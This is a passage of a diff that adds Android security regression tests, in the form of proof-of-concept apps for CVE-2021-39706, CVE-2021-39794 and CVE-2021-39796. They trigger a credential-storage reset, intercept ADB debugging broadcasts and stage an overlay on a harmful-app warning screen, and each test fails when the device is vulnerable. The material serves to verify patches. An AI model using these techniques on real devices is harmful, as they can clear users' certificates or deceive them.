intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + context.startActivity(intent); + assumeTrue(resources.getString(R.string.openFail) + applicationName, + device.wait(Until.hasObject(By.pkg(applicationName)), TIMEOUT)); + } + + private void tapText(String text) { + boolean buttonClicked = false; + UiObject2 object = device.findObject(By.text(text)); + if (object != null && object.getText() != null) { + object.click(); + buttonClicked = true; + } + assumeTrue(resources.getString(R.string.tapFail) + text, buttonClicked); + } + + protected boolean isPackageInstalled(String packageName) { + try { + PackageInfo pi = packageManager.getPackageInfo(packageName, 0); + return pi != null; + } catch (PackageManager.NameNotFoundException e) { + return false; + } + } + + @Before + public void setUp() { + // Initialize UiDevice instance + device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation()); + context = InstrumentationRegistry.getInstrumentation().getContext(); + packageManager = context.getPackageManager(); + resources = context.getResources(); + settingsPkg = PocActivity.checkIsCar() ? resources.getString(R.string.settingsPkgCar) + : resources.getString(R.string.settingsPkg); + assumeTrue(settingsPkg + resources.getString(R.string.pkgInstallFail), + isPackageInstalled(settingsPkg)); + } + + @Test + public void testCredentialReset() { + final byte[] cert = TEST_CA.getBytes(); + PocPolicyManager policyManager = new PocPolicyManager(getApplicationContext()); + assumeFalse(resources.getString(R.string.certInstalled), + policyManager.hasCaCertInstalled(cert)); + assumeTrue(resources.getString(R.string.certInstallFail), + policyManager.installCaCert(cert)); + assumeTrue(resources.getString(R.string.certNotFound), + policyManager.hasCaCertInstalled(cert)); + + // Open the PoC and attempt to reset credentials + openApplication(resources.getString(R.string.pkgName)); + // Button is used to reset credentials after confirming that PoC opened successfully + tapText(resources.getString(R.string.cleanCache)); + if (device.wait(Until.hasObject(By.pkg(settingsPkg)), TIMEOUT)) { + // Press OK in the reset dialog which confirms before clearing certificates + tapText(resources.getString(R.string.oK)); + } + long end = System.currentTimeMillis() + TIMEOUT; + while (System.currentTimeMillis() < end) { + if (!policyManager.hasCaCertInstalled(cert)) { + // Without fix, the certificate is reset + fail(resources.getString(R.string.failMessage)); + } + } + + // With fix, the certificate is not reset. Uninstall it explicitly + policyManager.uninstallCaCert(cert); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java new file mode 100644 index 00000000000..7d112f2f06a --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java @@ -0,0 +1,66 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39706; + +import static org.junit.Assume.assumeNoException; + +import android.app.Activity; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.os.Bundle; +import android.view.View; +import android.widget.Button; + +import androidx.test.InstrumentationRegistry; + +public class PocActivity extends Activity { + + public static boolean checkIsCar() { + Context context = InstrumentationRegistry.getInstrumentation().getContext(); + PackageManager pm = context.getPackageManager(); + return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE); + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + Button button = (Button) findViewById(R.id.button); + button.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View view) { + credentialStorageReset(); + } + }); + } + + private void credentialStorageReset() { + boolean isCar = checkIsCar(); + Intent intent = new Intent("com.android.credentials.RESET"); + String pkg = isCar ? getResources().getString(R.string.settingsPkgCar) + : getResources().getString(R.string.settingsPkg); + String cls = isCar ? getResources().getString(R.string.certClsCar) + : getResources().getString(R.string.certCls); + intent.setClassName(pkg, cls); + try { + startActivity(intent); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java new file mode 100644 index 00000000000..4c413c25db8 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java @@ -0,0 +1,29 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39706; + +import android.app.admin.DeviceAdminReceiver; +import android.content.Context; +import android.content.Intent; + +public class PocDeviceAdminReceiver extends DeviceAdminReceiver { + + @Override + public void onEnabled(Context context, Intent intent) { + super.onEnabled(context, intent); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java new file mode 100644 index 00000000000..76a5a9402fc --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java @@ -0,0 +1,46 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39706; + +import android.app.admin.DevicePolicyManager; +import android.content.ComponentName; +import android.content.Context; + +public class PocPolicyManager { + private Context mContext; + private DevicePolicyManager mDevicePolicyManager; + private ComponentName mComponentName; + + public PocPolicyManager(Context context) { + this.mContext = context; + mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class); + mComponentName = new ComponentName(PocDeviceAdminReceiver.class.getPackage().getName(), + PocDeviceAdminReceiver.class.getName()); + } + + public boolean installCaCert(byte[] cert) { + return mDevicePolicyManager.installCaCert(mComponentName, cert); + } + + public boolean hasCaCertInstalled(byte[] cert) { + return mDevicePolicyManager.hasCaCertInstalled(mComponentName, cert); + } + + public void uninstallCaCert(byte[] cert) { + mDevicePolicyManager.uninstallCaCert(mComponentName, cert); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp new file mode 100644 index 00000000000..dbf8b37205b --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp @@ -0,0 +1,37 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-39794-receiver", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + ], +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml new file mode 100644 index 00000000000..8464275fd8d --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml @@ -0,0 +1,42 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_39794_receiver" + android:versionCode="1" + android:versionName="1.0"> + <uses-sdk android:targetSdkVersion="25"/> + <application + android:label="CVE-2021-39794-receiver" + android:supportsRtl="true"> + <activity + android:name=".PocActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + <receiver android:name=".PocReceiver" + android:exported="true"> + <intent-filter> + <action android:name="com.android.server.adb.WIRELESS_DEBUG_STATUS" /> + <action android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRED_DEVICES" /> + <action android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRING_RESULT" /> + </intent-filter> + </receiver> + </application> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml new file mode 100644 index 00000000000..a85bec90a5a --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml @@ -0,0 +1,26 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + android:orientation="vertical" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:id="@+id/drawableview" + android:layout_width="match_parent" + android:layout_height="300dp" /> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java new file mode 100644 index 00000000000..c62e464d617 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java @@ -0,0 +1,29 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39794_receiver; + +import android.app.Activity; +import android.os.Bundle; + +public class PocActivity extends Activity { + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java new file mode 100644 index 00000000000..ebad4ed3b88 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java @@ -0,0 +1,43 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39794_receiver; + +import static org.junit.Assume.assumeNoException; + +import android.content.BroadcastReceiver; +import android.content.Context; +import android.content.Intent; + +public class PocReceiver extends BroadcastReceiver { + + @Override + public void onReceive(Context context, Intent intent) { + // If PocReceiver is able to receive AdbManager broadcasts + // without having MANAGE_DEBUGGING permission, this indicates + // that vulnerability exists. Transfer control back to + // the test app and make the CTS fail in PocTestActivity + try { + Intent i = new Intent(); + i.setClassName("android.security.cts.CVE_2021_39794_test", + "android.security.cts.CVE_2021_39794_test.PocTestActivity"); + i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + context.startActivity(i); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp new file mode 100644 index 00000000000..0ddc4fac5af --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-39794-test", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + ], + certificate: "platform", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml new file mode 100644 index 00000000000..8ae602509aa --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml @@ -0,0 +1,37 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_39794_test" + android:versionCode="1" + android:versionName="1.0"> + <uses-permission android:name="android.permission.MANAGE_DEBUGGING"/> + <application + android:label="CVE-2021-39794-test" + android:supportsRtl="true"> + <activity + android:name=".PocTestActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + </application> + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_39794_test" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java new file mode 100644 index 00000000000..d918b06d839 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java @@ -0,0 +1,57 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39794_test; + +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeNotNull; + +import android.content.Context; +import android.debug.IAdbManager; +import android.os.IBinder; +import android.os.RemoteException; +import android.os.ServiceManager; + +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + private static final int MAX_WAIT_TIME_MS = 10000; + + @Test + public void testCVE_2021_39794() { + IBinder binder = ServiceManager.getService(Context.ADB_SERVICE); + assumeNotNull(binder); + IAdbManager manager = IAdbManager.Stub.asInterface(binder); + assumeNotNull(manager); + try { + manager.enablePairingByPairingCode(); + } catch (RemoteException e) { + assumeNoException(e); + } + + // Wait for receiver app to get the broadcast + try { + Thread.sleep(MAX_WAIT_TIME_MS); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java new file mode 100644 index 00000000000..6c11b9afcee --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java @@ -0,0 +1,31 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39794_test; + +import static org.junit.Assert.fail; + +import android.app.Activity; +import android.os.Bundle; + +public class PocTestActivity extends Activity { + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + fail("Vulnerable to b/205836329 !!"); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp new file mode 100644 index 00000000000..9ba76d0563d --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp @@ -0,0 +1,39 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-39796", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml new file mode 100644 index 00000000000..9ef97633d30 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml @@ -0,0 +1,38 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + package="android.security.cts.CVE_2021_39796" + android:versionCode="1" + android:versionName="1.0"> + + <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> + + <application + android:allowBackup="true" + android:label="CVE_2021_39796" + android:supportsRtl="true"> + <service android:name=".PocService" + android:enabled="true" + android:exported="true" /> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_39796" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp new file mode 100644 index 00000000000..d669e9ff7ce --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp @@ -0,0 +1,37 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-39796-harmful", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + ], +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml new file mode 100644 index 00000000000..52f2fd2c3e0 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml @@ -0,0 +1,34 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_39796_harmful" + android:versionCode="1" + android:versionName="1.0"> + <application + android:label="CVE-2021-39796-harmful" + android:supportsRtl="true"> + <activity + android:name=".PocActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + </application> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml new file mode 100644 index 00000000000..bb5d5701ec3 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml @@ -0,0 +1,27 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + --> + +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + android:orientation="vertical" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:id="@+id/drawableview" + android:layout_width="match_parent" + android:layout_height="300dp" /> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java new file mode 100644 index 00000000000..3ca36451900 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java @@ -0,0 +1,29 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39796_harmful; + +import android.app.Activity; +import android.os.Bundle; + +public class PocActivity extends Activity { + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml new file mode 100644 index 00000000000..c16cd742b1e --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml @@ -0,0 +1,40 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + --> + +<resources> + <string name="activityNotFoundMsg">The activity with intent was not found : </string> + <string name="activityNotStartedException">Unable to start the activity with intent : </string> + <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string> + <string name="dumpsysActivity">dumpsys activity</string> + <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity + command</string> + <string name="errorMessage">Device is vulnerable to b/205595291 hence any app with + SYSTEM_ALERT_WINDOW can overlay the HarmfulAppWarningActivity screen</string> + <string name="harmfulActivity">android/com.android.internal.app.HarmfulAppWarningActivity + </string> + <string name="mResumedTrue">mResumed=true</string> + <string name="overlayAttack">overlayattack</string> + <string name="overlayButtonText">OverlayButton</string> + <string name="overlayServiceNotStartedException">Unable to start the overlay service</string> + <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string> + <string name="testPkg">android.security.cts.CVE_2021_39796</string> + <string name="vulActivityNotRunningError">The HarmfulAppWarningActivity is not currently + running on the device</string> + <string name="vulnerablePkg">android.security.cts.CVE_2021_39796_harmful</string> + <string name="vulnerableActivity">android.security.cts.CVE_2021_39796_harmful.PocActivity + </string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java new file mode 100644 index 00000000000..20fccde5071 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java @@ -0,0 +1,121 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39796; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; + +import static 